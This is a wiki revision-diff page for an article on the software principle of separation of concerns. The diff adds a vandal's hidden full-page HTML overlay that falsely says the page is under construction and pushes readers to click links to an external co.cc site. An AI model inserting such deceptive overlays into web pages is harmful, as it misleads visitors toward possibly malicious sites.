Separation of concerns
From CSSEMediaWiki
(Difference between revisions)
Line 5: | Line 5: | ||
Separation of concerns is usually measured with the Cohesion and Coupling metrics. | Separation of concerns is usually measured with the Cohesion and Coupling metrics. | ||
− | ==Opposing forces== | + | >==Opposing forces== |
*[[Keep related data and behavior in one place]] | *[[Keep related data and behavior in one place]] | ||
*[[Hide data within its class]] | *[[Hide data within its class]] | ||
+ | |||
+ | ---- | ||
+ | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
+ | ---- | ||
+ | =[http://yxakowu.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]= | ||
+ | ---- | ||
+ | =[http://yxakowu.co.cc CLICK HERE]= | ||
+ | ---- | ||
+ | </div> | ||
==See Also== | ==See Also== |
Revision as of 02:30, 18 November 2010
Nothing is particularly hard if you divide it into small jobs. - Henry Ford
Separation of concerns is rather self-explanatory: Each of the different parts/tasks/roles/jobs of a program should be kept as separate as possible from each other. This principle is relevant at all levels of program organisation. At the high level, each package or class should group code relating to one broad concern, while at lower levels, a clearly written line of code should invoke one coherent operation, without unexpected side-effects, and any particular method should accomplish one single task.
Separation of concerns is usually measured with the Cohesion and Coupling metrics.
>==Opposing forces==